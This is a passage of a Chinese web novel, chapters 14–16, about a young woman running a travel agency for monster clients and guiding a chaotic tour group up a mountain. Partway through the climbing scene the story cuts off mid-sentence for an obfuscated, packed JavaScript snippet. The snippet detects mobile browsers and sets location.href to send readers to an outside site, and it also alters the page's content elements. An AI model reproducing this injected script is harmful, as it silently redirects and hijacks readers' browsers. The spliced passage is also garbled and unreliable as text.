“我已经让小樊发布公告,联动营销号引导舆情,尽可能将影响降到最低。” 向雪犹豫不定:“可是,损失已经造成了......真的退了很多。” 她有些忐忑不安地看向黄千玦,本来她不应该多管闲事的,但若是旅行社效益不好,肯定要裁员。 她好不容易才找到一家离家近、双休、交足五险一金、加班给足的加班费的工作,这简直是她的梦中情工。现在还没干满一个月,难道她又要骑驴找马吗? 陈浓以同样担忧的眼光看她。 黄千玦笑眯眯地倒了两杯的水,递给二妖,声音沉缓有力,“损失是肯定造成了的。但你们有没有注意到,退的最多的是暑假第一波成团的,后面几波也有退订的,但都呈阶梯式降低。” 她在楼上写小作文时,一直有在观察后台的数据,甚至做了一个简明直接的数据图。 陈浓、向雪仔细地回忆,好像确实如此,她们点点头。 “是的,他们在观望,看看第一波旅游团的旅游体验,是不是真如我们海报上所宣传的那样,如果好,他们就开开心心地来玩,如果不好,那他们就退订,也没什么损失。” “我们目前要做好的,就是尽可能最好地提高第一波旅游团的体验,那么后面自然会有更多的人愿意订购我们的旅游产品。” “很多时候,在网上蹦跶的最凶的那一伙人,不一定代表大多数。多数人仍旧在观望,等我们抛出底牌,值不值得他们站队。” 陈浓、向雪的心稳下不少。 但陈浓问道:“要是第一波旅游团都退了,怎么办?我们还要怎么证明?” 黄千玦继续说道:“这个问题很好。我们不妨再深入想想,为什么对方为什么选择给我们泼脏水,而不是推出他们的旅游项目跟我们同台竞争?” 向雪抢答:“因为他们做不出来!” 黄千玦赞成:“对!这就足以证明,我们的项目具备不可替代性和竞争性,对方短时间无法通过这种方式抢占市场,他们只能选择抹黑我们。” “我们面对的是庞大的市场,从来不会缺想要第一个吃螃蟹的人。” 就算第一波旅游团的人全都退了,黄千玦也会自掏腰包,请人过来真实体验,打出第一波名气。 她对于他们的旅游项目极为自信。 本来她大可不必同陈浓、向雪解释,但想要长期发展一个企业,而企业内部员工人心涣散,这个企业迟早会走向衰败。 她得先稳住他们。 黄千玦眨了眨眼睛,笑道:“既然都清楚了,那怎么还赖在这儿,真的想要继续留下来工作吗?我是没有任何问题的。” 陈浓、向雪忙不迭地摇头拒绝,赶忙收拾东西回家。 “今天意外事情太多了,你们也赶紧回去好好休息吧,我会给你们多算加班费。陈浓明天你去医院看看手腕,不用来了,到时找我报销就好。” “周末我到时会线上联系你们,开一个简短的会,告知大家目前的情况,齐心同力,共破难关。” 陈浓、向雪的心彻底安定下来,嘻嘻闹闹地同黄千玦告别。 凌霁趴在她怀里,眼神若有所思。 他之前忙着自己的事,没见识过黄千玦同付修义协调沟通的模样,但见微知著,他现在能够想象了,嘴角噙着笑,自信冷静,无论对方抛出多难的问题,她也能像剥洋葱一样,慢条斯理地一瓣瓣剥开,杀得对方片甲不留。 怪不得白宪看重她。 对敌人如严霜酷暑,对亲友如春风骀荡。 想着想着,凌霁脸蛋微微发烫,把脸埋得更深了。 周一,黄成、黄云霄回来时,风平浪静,像是从没有发生过一般,夫妻俩还是从黄千玦的口里知道周末的惊心动魄。 但正如黄千玦所规划的那样,大家齐心协力,共破难关。 时间转眼来到暑假,热乎乎、滚烫烫,蝉鸣嘹亮,刺破热得扭曲变形的天空。 一道浅绿色大巴匀速开在公路上,慢慢地驶离妖怪小镇,开往人类城市。 黄千玦坐在最前排,翻看手里的地图,凌霁贴着她的腿,眯眼睡觉,旁边是云弦、出阳歪着脑袋,打瞌睡。 昨晚,出阳直接睡在他们家了,一个捣蛋鬼都让他们头疼了,捣蛋鬼*2更是破坏力爆表,还是黄云霄威胁他俩要是再不消停,就只留他俩在家。 这才安分地度过昨晚。 黄云霄、黄成坐在走道对面,合上眼皮,养精蓄锐。 后排稀稀落落地坐着四个妖怪。 他们要在路上接三个妖怪,剩下两个妖怪则直接在天元山景区汇合。 大巴车慢悠悠地向前,晃得人昏昏欲睡。黄千玦忍不住打了个哈欠。 忽地,大巴停下,车门缓缓打开。 黄千玦定定地看过去,凌霁也懒懒掀开眼皮。 只见染着炫彩头发的青年咻的一声,跳上车,黑皮黑皮裤,胸前坠着黑色骷髅,扭腰摆臀,甩手臂、踢踏腿,嘴里哟哟叫唤:“EVERYBODY!HI!HI!HI!” 自带炫彩光射。 黄千玦默默地想,好一个抽象的妖怪! 不过倒让她想起了某个妖怪,同样穿着黑皮衣黑皮裤。 凌霁头皮发麻,他以后绝对不要再也不穿黑皮衣黑皮裤了! 跟对方穿同一类型的衣服也是一种羞耻。 又跳上来两道黑色的影子。同样风格的穿着打扮,不同的是左边的少女染着一头如火焰燃烧的红毛,右边的少年染着性感紫色挑染长发。 二妖嘴里各叼着一个正照着七彩光线的小手电筒。 三人旁若无人地就地演出,摆了一个pose。 黄千玦默默地想,原来是三个抽象的妖族少年! 可惜大巴不够大,供你们表演的舞台太过狭小,想让全世界看到你们的心受到限制了。 “Everybody!Hi!Hi!Hi!” 吐字清脆稚嫩,离她很近。 “我学的怎么样?”眼睛亮晶晶地盯着三鬼火少年。 黄千玦想,原来她妹妹也是一个抽象小妖怪! 出阳呜呜叫唤,显然想挣脱黄千玦的束缚,跟云弦一样,哟哟叫唤。 但黄千玦可不依,家里已经有个未来小鬼火预备役,可不能再来一个。 黄千玦太阳穴突突直跳,她有预感,这次旅游带团,绝对超级超级超级脱离她的预期! 14. 奇葩大赏 静悄悄。 车厢被他们的七彩手电筒照得光怪陆离,像是进入了某种午夜场所。 唯一的不同在于,现在还是艳阳烈日。 大巴外传来几声急刹和扑街骂声。 司机师傅默默降下驾驶座隔离帘,自成一方小天地。 黄千玦眼睛微眯,食指屈起,揉了揉太阳穴。 她现在不应该在车内。 鬼火少年若无其事地踢踏跳舞,同云弦拍掌,出阳蹦蹦跳跳,吸引他们的注意力,像是他们的小迷弟。 黄千玦视线向后一扫,她的左后方坐着一名中年公务男,名叫齐哲。 名字毫无亮点,长相也毫无亮点,穿搭似乎也毫无亮点。 白衬衫西装领带,一板一眼,打着厚厚的发蜡,虽然发蜡毫无用处,只会让头顶的光芒愈发晃眼。 眼神平和,视线下垂,透着静静的死意,像是被甲方打回了108种方案,经受千锤百炼一般,无波无澜。 他依旧注意力集中在他的笔记本电脑。 估计现在应该在规范PPT的格式了。 之前黄千玦确认上车乘客时,不经意地瞥到过他的电脑屏幕。 但黄千玦现在心绪起伏不定。 最起码给点反应啊,太过于平静,她也会有些不安的。 忍下吐槽的欲望,她继续确认其他乘客的情况。 公务男左边,隔着过道,坐着一名老太太,头发花白,须眉皆白。 老太太戴上老花镜,细瞧几位鬼火少年,身子猛地向后一震,赶忙摘下眼睛,抖抖嗦嗦地在胸前画了一个十字形。 黄千玦刚想松一口气,这是一个正常妖怪。 准备上前安抚老太太。 就见老太太变戏法似的,从碎花布袋里掏出一本佛经、一块大蒜、一柄桃木剑,以及一只沉甸甸的镇宅墨龟。 黄千玦呼吸一滞,她这是去灭邪祟吗? 默默地为白骨夫人掬了一把眼泪。 你碰上对手了。 “咕咚!” 什么东西滚地了。 黄千玦蹙眉朝地上望去。 下一秒,一团白色小球骨碌碌地从后排几个弹跳,直接滚到车头,精准撞上红发鬼火的黑色过膝靴。 红发鬼火弯腰,笑嘻嘻地戳了一戳,“你也想要和我们跳舞吗?” 黄千玦抢先一步,抱起她的第四名客人,白鼬。 白鼬一脸呆萌无辜地揉着脑袋,像是奇怪,自己也不清楚,怎么滚到这里来了? “暂时,还是不要了。”白鼬怯怯地说。 大巴最后一排,一只彩狸猫,身形娇小,姿势却极为豪放,四仰八叉地摊着,腮边两抹白,柔软的肚皮上贴着一包脆鱼干。 眼皮懒懒掀开,几口嚼碎一条脆鱼干,舔了舔爪子,慢悠悠地哈出一个长长的哈欠,“年轻人就是精力旺盛。” 然后从尾巴底下抽出一张纸条,熟练贴上脑门,上面写着:“休仙ing,忽扰”。 两眼一闭,又睡死过去。 黄千玦镇定自若,笑道:“三位客人,既然到了,那就赶紧坐下吧。” “我们也好继续出发。” 黄千玦干脆利落地堵上他们后面的话。 目送他们比舞斗唱落座。 黄千玦望向窗外,心情宁静。 她现在只期盼,在天元山景区汇合的两位客人,能够稍微正常些。 她不想再回忆临城黄家的噩梦。 黄成、黄云霄夫妻俩毕竟见多识广,很快缓过神来,讲了几个搞笑段子,缓和气氛。 即便没什么人在听,也能谈笑自若地走完流程。 他们此次的旅游团是小型旅游团,人数原本定在13到16人,最终实际参加9人。 比他们预计来的要多。 只是……可能质量更为出挑了。 他们肯定会平平安安地回来的。 对吧? 黄千玦有些不太确定地想。 *** “我们即将到达住宿酒店,请各位游客抓紧时间收拾一下个人物品,以防落在车上。” 黄成调准了一下耳边的小蜜蜂,微微向下一偏,避免说话破音。 “如果大家碰见了什么问题,可以及时跟我联系。为了沟通方便,我们现在车上面对面建群。” 黄千玦将数字填入,进入群里。 将这批客人送到酒店后,他们还需要开车去天元山景区接剩下的两名客人。 他们租了一辆大巴和一辆小车,大巴负责来往接送游客,小车则方便他们家便宜行事。 下榻住宿酒店后,由黄成开车去接那两位客人,黄云霄、黄千玦负责酒店客人的登记和住宿。 但实际到达之后,黄成一打开车门,云弦、出阳就溜了进去,飞速窜到后座,眨巴着乌溜溜的眼珠,可怜兮兮地盯着黄成,把他看得直生愧疚。 大手一挥,直接全带上了。 黄云霄不置可否,有这么个爹,女儿养成个小捣蛋鬼也就不奇怪了。 黄千玦笑眯眯地揽过妈妈的肩,推着她往里走。 她一看妈妈的表情,就知道妈妈在想什么了。但是,怎么说呢?养成小捣蛋鬼,就只有一个人的努力吗? 她不挑破。 二妖一前一后,确保所有的客人都进入酒店,进行登记。 凌霁咬着尾巴,亦步亦趋地跟在黄千玦身后。 陪所有妖怪登记入住后,黄千玦同黄云霄到酒店一楼大厅,等待黄成。 凌霁百无聊赖地趴在靠背上,他倒是想一个人待在房间里,自由自在,谁让黄千玦不让。 黄千玦无聊地摆弄手机,时而瞅瞅酒店的旋转门。 根据地图提供的导航时间,这个时间点,爸爸早该接到那两位客人,到达酒店了。 约莫十分钟,黄成进来了。 像个机器人,僵硬刻板,却拼命装作正常人一般,直愣愣地歪出旋转门,朝她们走来。 身后跟着云弦、出阳,乖巧得不像话。两个小家伙四脚着地,像真正的动物一样,瞅见黄千玦,眼珠子却不敢到处乱瞟,只拼命扑闪着睫毛。 黄千玦好看的眉眼微蹙。 怎么了? 付修义嘴角挂着尴尬的笑容进来,眼神敏锐,立刻发现她,冲她讨好一笑。 黄千玦嘴角弧度略微向下一 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若是那两个预先订购旅游团的妖怪听见黄千玦的心声,肯定会说,实在是对方给的太多了,突然基因突变,有个人类亲戚,应当是很正常的,对吧? 不对! 谢辞到底是从哪里知道他们家的旅游团?没有通过妖网,他是不可能知道的她家发布的信息的。 黄千玦眸光一闪。 她瞪向付修义,无声地问道,是不是你? 付修义吃了个闷亏,拼命转着眼珠子,传达信息:怎么可能是我?我才不会主动揽麻烦上身。他是自己看公众号发现的!人家来找我,我可是严防死守,什么都没说!鬼知道他怎么找上那两个妖怪的? 若是崔黎能对上他们的脑电波,必然要说一句,你们还是小瞧了money的超能力! 黄千玦准确无误地收到信息,转过头,正对着谢辞,保持一副见怪不怪,从从容容的模样,笑道:“那就赶紧去登记入住吧,不过你们可能要重新开房,之前两个人的房间我会退掉,把钱打给你。” “之后我们再重新签订一份旅游合同。” “好。”谢辞点头示意崔黎。 崔黎得令,撒着蹄子就一个箭步窜向前台开房。 公费出游就是爽! 黄成、黄云霄、付修义二妖一人凑成一堆,面色忧郁地看着两个人类的背影。 黄云霄在黄成的科普下,早知道有谢辞这么个人类。 黄千玦扶额,指尖微微颤抖,许久才沉沉地呼出一口气。 他们是正常的人类,这点毋庸置疑。 但是正常人类,参加不正常妖怪旅游团,这就很不正常了! 凌霁趴在沙发上,尾尖愉悦地甩着,有些幸灾乐祸地想:有时候当个脑容量小小的猫咪也不错。 他本打算趁着黄家带旅游团的功夫,溜出去一段时间,好好品鉴品鉴某家新出的雪糕。 但现在有好戏看了,他还是勉勉强强留下来吧。 她到底要怎么处理好这么一个混乱无序的旅游团呢? 15. 峨峨群山,我腿抖抖 窗外,暮色沉沉,夜凉如水。 黄千玦轻轻呵出一口气,下一瞬,温热的气息在玻璃窗户凝出一层浅浅水雾。 如果有人在此之前问她,这辈子有没有遇到过无法直面的难题,她只会冷冷地瞥对方一眼。 这个问题本身就是对她的一种羞辱。 但在此之后,她不得不重新考量这个问题。 忽地,她抬手,用力抹去那片水雾。 一个新挑战而已,解决就是。 她重新坐回沙发上,电脑屏幕的光亮幽幽,映出她抿紧的薄唇。 黄成、黄云霄不久前才离开她的房间,沙发上仍留有余温,茶几上摆着三杯没喝完的凉水。 窗外的夜色愈发浓稠,屋外像是有什么东西正贴着玻璃爬行。 “扣扣。” 黄千玦倏地抬眼,望向窗外。 声音是从窗户那边传来,而非门口。 她起身返回窗户边,静静地抱胸,立在一边,没有丝毫想要打开窗户的冲动。 蓦地,一个森白骷颅头凭空悬在空中,眼眶里的墨绿鬼火忽明忽暗,试图营造出恐怖的氛围。 “哈!” 她发出一声自以为吓人的怪叫。 黄千玦眨了眨眼,郁结的心稍稍轻松,强压下嘴角溢出的笑意,慢悠悠地捂住胸口,语调略为雀跃:“啊,我好害怕啊。谁能来救救我?” 装模作样地环顾四周,见没人,发出一声还没溢出喉咙的尖叫。 骷髅头:“……” 墨绿火焰猛地一滞,像是被她的敷衍噎住了。 半晌,她幽幽开口:“……还能来得再敷衍一点吗?” 她的感觉没错,这丫头之前就是装的。等到事情尘埃落定了,就不装了! 黄千玦耸耸肩:“我努力了,不要强求太多。” 她冲白骨夫人眨眼。 骷髅头气得鬼火直冒,下颌骨“咔咔”作响,似乎随时能砰得燃起人高的火焰,道:“赶紧恭迎你姑奶奶进去!” 黄千玦这才笑着拉开窗户,侧身让出一条路:“下次可以走正门。” 骷髅头一面轱辘轱辘地滚进来,一面头头是道地传授道:“做妖怪呢,是一定要有自己的特色的!” 话音刚落,一只苍白森然的骨手搭上窗沿,五根细长的手指扣紧窗沿。 紧接着,一具完整的白骨身躯(缺头版)极其灵活熟练地翻了进来。 先是手臂,再是脊椎,最后两条腿“哐当”砸在地板上。 一看,对方就很有经验。 黄千玦眼睛亮闪闪的:“果然很有……个人特色。” 白骨夫人高傲地冷哼一声,往沙发上一躺,翘起二郎腿。 “说吧,紧急叫我有什么事?不都已经安排好了嘛。哎!往往到这个时候,你就会知道谁最靠谱了!” “那只能是我。” 黄千玦连声称是,笑盈盈地倒上一杯凉白开。 *** 谢辞房间。 崔黎瞟了一眼合同,又瞟了一眼正端着茶水的谢辞,再看看手机上法律顾问发给他的长对话。 不由腹诽:黄千玦不愧是黄千玦!就算是霸王合同,也能做的滴水不漏,有洞可钻,给自己留下极大的操作余地。一看就没少让法务部这么做! 若是黄千玦在场,定要挑眉无语,她只承认,你不仁不义,那我必然同等报之。 他暗地里瞥了一眼谢辞,也真敢签!反正自己又没多少损失,顶多陪着出来玩一趟,心里这么想着,他轻松地抖了抖合同,叠整齐,塞进公文夹里。 谢辞静静地抿着茶水,黝黑的双眸里闪烁着期待的光彩,眼尾漾起几道柔和的弧度。 *** 齐哲揉了揉眼睛,确认文件成功上传后,终于挤出难得一见的笑容,倒头就睡,鼾声阵阵。 *** 老人年迈,嗜睡。 老太太早早入睡,耳边戴着耳塞,床被拈得整整齐齐。 枕边工整摆放着红红绿绿的碎花布袋,露出半截桃木剑柄、墨色乌龟尾巴。 *** 鬼火三少年嗨唱不止,黄成赶在酒店保安赶来之前,叫停三妖,催促他们赶紧睡觉,明日早起。 否则他就叫来保安,一起“欣赏”三妖的歌喉和舞蹈了。 鬼火三少年心尖颤颤,收声睡觉。 *** 彩狸小猫黄澄澄的大眼珠子眯成一条细线,数了数黄千玦专门买给她的金黄酥脆小鱼干。每数一遍,粉色的舌头都要细细地舔一遍爪子,中间再抓四五条脆鱼干吞进肚子里。 等数完七八遍,纸袋子里的脆鱼干所剩无几。 彩狸小猫唉唉叹气,怎么小鱼干突然少了这么多?太奇怪了,喵分明吃得不多! 她恋恋不舍地把脆鱼干包好,端正地摆在床头柜边。从怀里掏出一张纸条,贴上。 上面写着:已阅,喵喜。 趴下睡觉。 一分钟后,又从被窝里窜起,反正黄千玦还会给她买,她就不必为她节约了。 开吃! *** 白鼬安安分分地刷完牙、梳好毛发,上床入睡,想着自己晚上又交到了云弦、出阳两个好朋友,沉沉入睡。 只在睡梦中做着不太安分的美梦。 *** 黄云霄打开里间,摸黑进去,打开床边的小夜灯,暖黄光如水漫开,照亮两张小床上横七竖八的睡姿。 “两个小祖宗......” 云弦像只慵懒毫无戒心的小猫咪,坦露出柔软圆滚的肚子,随着呼吸一起一伏。出阳则蜷缩成小虾米,压在被窝上,狐狸嘴筒子埋进尾巴里。 睡姿各有各的偏好,却都爱踹被子。 黄云霄细心替他们盖好被子,转过身,又见凌霁身子微微抖动,缩在沙发上,银色长尾巴甩在地上。 两个顽皮孩子,刚结束完期末考试,又来折腾猫咪了,非要同千玦要过小猫。 她无奈地摇摇头,抽走云弦枕边的另一个枕头,抽出枕头芯,盖到凌霁身上,放好他的尾巴,确定不会轻易滑落后,她又蹑手蹑脚离去。 门关上的瞬间,凌霁耳朵一抖,眼睛刷地睁开,掀开枕头套,湖绿色瞳孔光华流转。 月光如一面铜镜,照出地上模糊修长的人影。 凌霁推开玻璃窗户,最后看了一眼云弦、出阳。 很好,又踹被子了! 凌霁收回长腿,快步折返,扯过两张被子,轻飘飘一卷,给两个小妖怪卷成两条蠕动的毛毛虫,才重新翻出窗户。 “唰!” 却又对上一双骤然膨大的墨绿鬼火。 他的心脏猛地漏跳一拍,压下那一刹那的惊吓,道:“今年几岁了?来点新花样吧。” “能吓到妖怪就是好用的。”她自动忽略第一个问题,她已经迫不及待地畅想黄千玦的尖叫了。 与头颅分开的骨头架子一边扒着窗户向上攀爬,一边簌簌地抖动,似乎感受到骷髅头的欢喜。 凌霁懒得回应,纵身一跃,二妖错向而行。 屋外繁星点缀夜空,底下灯火通明,仍能听见熙熙攘攘人间声。 *** 隔日九点半。 黄千玦容光焕发,一扫昨日下午的阴霾忧郁,面上挂上盈盈浅笑,立在车边,轻点上车的人数,确认无误后。 “出发吧。” 声音轻快明亮。 旅游第一天,黄成做导游,黄云霄留在酒店灵活机动,顺便照看凌霁,黄千玦则盯紧二人,随机应变,确保安稳度过七天。 崔黎好奇地左瞧瞧右看看,他倒是没料到黄千玦的旅游团还允许带宠物,最前排坐着三只小动物,小脑袋凑成一堆,看着蛮治愈的。 三只小动物发出的声音细细小小,加之车窗打开,更是模糊不清。 他和谢辞坐在最后一排,歪着脑袋看过一会儿,脖子发酸,收回目光,无意间瞥到正闭目养神的黄千玦。 不由一面唏嘘黄千玦的今昔对比,跟往日出入都有人群簇拥,身为焦点中心相比,她绝对是落魄到低谷了。 如果拿漂浮于海水上的冰山作比较,水平面是平均值,她现在已经落到海平面以下三千丈了。 一面又暗暗敬佩,若他是黄千玦,经历种种绮丽奢华生活后,又被打回原点,他是绝对做不到如她一般,从谷底里爬起来,依旧安然自若,整装待发、重新再来。 只不过...... 崔黎瞅了瞅隔道旁边一眨不眨盯着他的彩狸小猫,时不时叼起两三条小鱼干,吞进肚子里。 心里有些慌,他不害怕小猫咪,但是他怵小猫看他的眼神,像是在看一堆鲜嫩可口的小鱼干,随时能扑上来,一口生吞了他。 哦,还有他家总裁。 谢辞坐在崔黎身边,见黄千玦闭目养神,便也闭上眼睛,自然注意不到彩狸小猫的目光。 崔黎坐得不自在,往前瞅瞅,首先排除紧挨一起的鬼火少年,潮得他两腿风湿。 再排除老太太,年龄差太大,明显毫无话题可聊。 他一屁股坐到齐哲身边,笑眯眯道:“嗨,兄弟,我能做到你身边吗?” 齐哲无语:……不都已经坐上了嘛。 崔黎亲亲热热地搂上对方肩膀,也不管对方乐不乐意,嘴里叽里咕噜地讲着。 他一向对自己的口才信心满满,最新战绩可查:哄得黄成、付修义眉开眼笑,骗得谢辞给他升职加薪,哦不,应该是出谋划策。 他小心觑了一眼黄千玦。 黄千玦掀开一道眼缝,余光扫到崔黎,正自顾自地聊着天,偶尔得到一两声齐哲的敷衍回应,除此别无其他异常。 她又闭上眼睛,耳边的声音混着窗外刮过的风、驳杂的人语,心渐渐平静。 *** 崔黎眼神呆滞,望而生畏。 群山叠嶂,郁郁苍苍,直冲云霄。 他咽了一口唾沫,颤颤巍巍道:“这就是我们要爬的山?” 黄千玦替黄成答道:“没错。不过考虑到你们刚加入,我征询了其他游客的建议,换了一座海拔相对比较低的山峰。” 在妖怪世界,有句类似于人类的古话,“不上五岳非好汉”,妖怪们极其推崇爬山。 自古代起,无论是妖怪,还是人类,都认可,山岳在物质和精神上养育他们千年,延绵不绝。 山岳崇拜这早已刻在他们的血脉深处。 外加自身本体优势,除去水生妖怪,无论男女老少,妖怪们节假日是他们最喜欢挑战攀登名山的时间。 五岳为其中之最。 泰山则为最中之最。 “只是,只是……”崔黎嗫嚅,指着旁边立着的牌子,明晃晃的黄底黑字:“未开发山区,请勿攀登”。 黄千玦笑容自恰:“不要在意这些小细节,我们会保障你们的安全的。” “对吧?谢辞。”她转过头去,笑眯眯地问道。 眼角微勾,自带一股风情。 谢辞一时看呆,而后郑重点头:“我很相信你。” 崔黎很慌。 又看看齐哲和老太太。 齐哲难得露出微笑,满意点点头。老太太则露出回忆的神色,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642329|171864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有提出反对。 就连一群小动物都跃跃欲试。 他更慌了,但一股着不服气撑着他,他最先冲出去,把黄成甩在身后。 但真正开始攀登以后,他就没精力慌了,只顾埋头苦爬。 山真的太高了! 他最开始想找齐哲结伴,但齐哲一见到他,就像见到鬼似的,向上蹿得更快了,三两下就甩开他十米远。 明明都是上班族,怎么你的柔弱身体跟我的不太一样。 崔黎呼哧呼哧往上爬,汗水糊得他眼睛发昏。 哪料到白发老太居然后来居上。 老太太从碎花袋子里抽出一叠纸巾递给崔黎擦擦,继续撑着她的桃木剑拐杖,匀速爬山,不疾不徐,俨然一个老练的爬山佬。 小动物组紧赶慢赶,赶在他前头,白鼬每爬上一个大石块,小黄鼠狼、小狐狸都要高举双手欢呼,蹦蹦跳跳。 三小动物一聚头,又得意地齐齐甩尾巴,仿佛在朝崔黎说“你太慢啦”。 这崔黎可就不能忍了,立马爬个几米,又偃旗息鼓,窝窝囊囊地想,他不跟小动物计较。 至于鬼火少年,他们参加的不是爬山,更像是野外探险综艺,像一群猴子一样上蹿下跳,如履平地。 和崔黎相比,宛然如同两个世界。 如黄千玦所说,她一直保障他们的安全。 崔黎力有不逮时,她总能及时伸出援助之手。 至于谢辞。 当然他会伸出另一只援助之手。 左右各夹一边,搀扶着他继续向上走。 但他还是很好奇,就连谢辞这么一个常年健身的人,都不免气喘吁吁,累得原地休息,黄千玦是怎么连休息都不需要休息,仅仅只是面红耳赤? 但体力的快速消耗和山顶的遥遥无期,让他暂时没有精力去想。 唯一可爱又可恨的估计就是那只背上背着一小袋脆鱼干的彩狸小猫了。 她一直跟着他爬完全程,爬得快了,她时不时回头张望,或是原地等待。 嘴里肯定叼着小鱼干。 多么可爱的小猫啊!他都想原地养猫了。 如果她没有等到烦了,就随便捡了一根树枝,犹犹豫豫地往上面叉上几条小鱼干,一脸惋惜地吊在他面前。 嘴里喵喵叫着,像哄小孩一样。 崔黎:……他不是被吊着苹果磨豆的驴啊! *** 黄成伸手抓紧崔黎,力气大,一把抓住帮助他成功登顶。 靠着大石块,气喘如牛。 “真是艰难啊,终于登顶了!累死喵了,可惜了我的小鱼干。” 崔黎觉得他可能出现幻听了,怎么猫在说话?!! 再说了,小鱼干不都被彩狸小猫自己吃了,他不背黑锅! 其余人离他有七八米远,山顶罡风烈烈,传过来的声音破碎,不成句子。黄千玦、谢辞目前还没登顶。 只有眼前这只猫嘴巴微微翕动,脆鱼干碎渣簌簌往下掉。 他不可置信地盯着彩狸小猫。 但彩狸小猫只喵呜喵呜叫唤,一双黄金眼珠眨巴眨巴地闪着。 她可没做任何出格的事情!刚刚谁在说话,她什么都不知道喵~ 她只是一只啥都不懂的普通小喵~ 黄千玦可不能克扣答应她的小鱼干! 彩狸小猫心虚地舔了舔爪子。 崔黎不由疑惑,是他幻听了吗? *** 爬完山,回到酒店,崔黎脚步悬浮,随时都能双脚一蹬,面见玉皇大帝。 傍晚,公共厕所。 听说晚饭是顿大餐,崔黎神色恍惚地往脸上泼了一把水。 紫发鬼火进来,随手跟他打了个招呼,就进到厕所。 约莫十分钟,崔黎回过神来,他慢慢地回忆着,那紫鬼火怎么还没出来,别是一路上强撑,最后倒在厕所里了? 他越想越不对劲,冲进厕所,一个接一个地敲门问话。 寂静。 厕所回荡着他的声音。 他吓得立马飞出厕所,迎面撞见炫彩鬼火,对方歪头问道:“你是撞鬼了吗?” 崔黎来不及回答,忙不迭地拉着他往厕所里走,上气不接下气地胡乱说一通。 但炫彩鬼火凭借自己诡异抽象的脑回路,还是理解了崔黎表达的意思。 炫彩鬼火脸上瞬间露出兴奋刺激的神情,一下子窜进厕所,扒着厕所门,把头伸进去,活像一个登徒子。 扒完所有的门后,他一脸失望地出来。 炫彩鬼火遗憾地想:怎么不是他提前体验压轴礼物呢? 对上崔黎疑惑的神情,心思又蹦到自己最近看过的恐怖小说,他郑重其事地说:“你记错了,其实我们组合只有两个人。” 崔黎:……你可别诓我。 “最合适的形状其实不是三角形,而是一条线段。” 他笑容诡异,食指指尖轻轻滑过自己的脖颈。 崔黎:你在说什么鬼东西?!! *** 深夜。 崔黎躺在床上,安详地闭上眼睛,身心平静。 餐桌上,大家的表现似乎无事发生,而他,自己经过多重打击,已经可以对任何事情坦然接受了。 迷迷糊糊间,他似乎听见骨头咔咔扭动的声音。 墨色的火焰在他上空缓缓浮现。 *** 第二日。 崔黎消失不见了。 炫彩鬼火嫉妒疯了。 黄千玦抓狂。 不是说过了,不要去碰那两个人类吗?!! 16. 关于我的合作伙伴抓错人二三事^^…… 天光半亮,影影绰绰的日光穿过针织窗帘的缝隙,落到黄千玦的眼皮上。 睫毛长而密,虚虚地映下半弧形阴影,忽地,微微颤动,睁开一双略带迷惘的眼眸。 黄千玦慢慢撑起身子,扫视一圈,静谧昏暗,透着惴惴的闷压。 她趿拉着拖鞋,拉开窗帘和窗户,初升的红金色太阳铺满屋内,晨风裹着周边早餐店蒸笼里的松软香气飘满屋。 她深吸一口气,才去洗漱。 一面洗漱,一面琢磨今日的流程。 按照旅游日程,昨晚白骨夫人便会随机挑选两到三名幸运游客,协助她第二天“绑架”剩余游客,正式开启第三日日程。 黄千玦吐出漱口水,昨晚她才与对方沟通确认过,想必今日的日程必然能够顺顺利利。只待她引开谢辞、崔黎二人。 浸湿自家带来的毛巾,往脸上一贴,湿润清凉。 “砰砰砰!” 是一连串急促迫切的敲门声,带着一斧子破门而入的决然气势。 毛巾被晃得直往下滑落。 黄千玦蹙眉,手上快速拧干毛巾水渍,擦抹,再浸湿拧干,晾上,这才透过猫眼,看了一眼来人,打开门。 “发生什么事了?”她问道。 来人是那群鬼火少年,少了一个紫发鬼火。 但多了一个彩狸小猫。 他们是怎么凑到一起的? 炫彩鬼火脸色涨得通红,手舞足蹈半天,也没说出个所以然来。 彩狸小猫看得不耐烦了,一爪子呼到他脸上,立刻消声了,道:“崔黎人不见啦。” 黄千玦眼皮猛地一跳。 “喵的小鱼干还有吗?”眨巴着黄澄澄大眼睛,卖可怜。 炫彩鬼火这才接上气,惊道:“我那么期待,写了那么多自我推荐,我居然没被选上,这真的合理吗?合理吗?” 红发鬼火跟着瞎起哄,“还有我!” 今早,天刚破晓,两鬼火少年就搭伴去找崔黎。 炫彩鬼火想着昨日崔黎发现丢了人的演技,他不由咂舌,真可谓是毫无破绽,他同小红都演不出那种浑然天成的惊恐,他们肯定会有很多的交流心得。 这不,天还没亮透,他已经迫不及待地跳下床,拽起小红,兴致勃勃地去找崔黎。 没想到路上遇到彩狸小猫,一番交流,才知道彩狸小猫早起无事可干,小鱼干也被嚼吧嚼吧吃得渣渣都不剩,黄千玦托她照看崔黎,他可是彩狸小猫的粮仓,不能有半分损失。 她便溜达溜达,往崔黎房间溜去。 三妖目的一致,便结伴同行。 哐哐一通乱敲,没人回应! 反倒隔壁屋的那个男人沉着一张郁郁的脸倏地拉开门,什么话都还没说,瞳眸黑漆漆的,气势摄人,吓得他们支支吾吾,说不出半句话,只好夹着尾巴灰溜溜地跑路。 幸好彩狸小猫的屋子离崔黎的房间近,三个妖怪进来彩狸小猫的房间,打开窗户,彩狸小猫在前,身形轻巧,几下就翻进崔黎的房间。 炫彩鬼火、红发鬼火妖力不强,没胆子直接跳出窗外,只好化为原形。 两只海獭,敦厚的两个长条,圆脑袋,毛发厚实蓬松,黑桃扑克鼻子,顶着一双乌溜溜的精神小眼睛,背上披着棕黑色酷炫披风。 唯一的不同,便是头顶那两撮毛。 炫彩鬼火染得花花绿绿,像是鲜花市场上,摆着的一堆乱杂杂或浓艳或清雅的盆花。 红发鬼火那一簇像熊熊燃烧的火焰,只是这簇火焰,此时此景,像是被大水浇息了一般,闪烁着零星火星。 迈开腿,气势雄赳赳,双腿颤巍巍,扒着墙壁。 走一步,厚实身子抖三抖。走五步,后退两步。 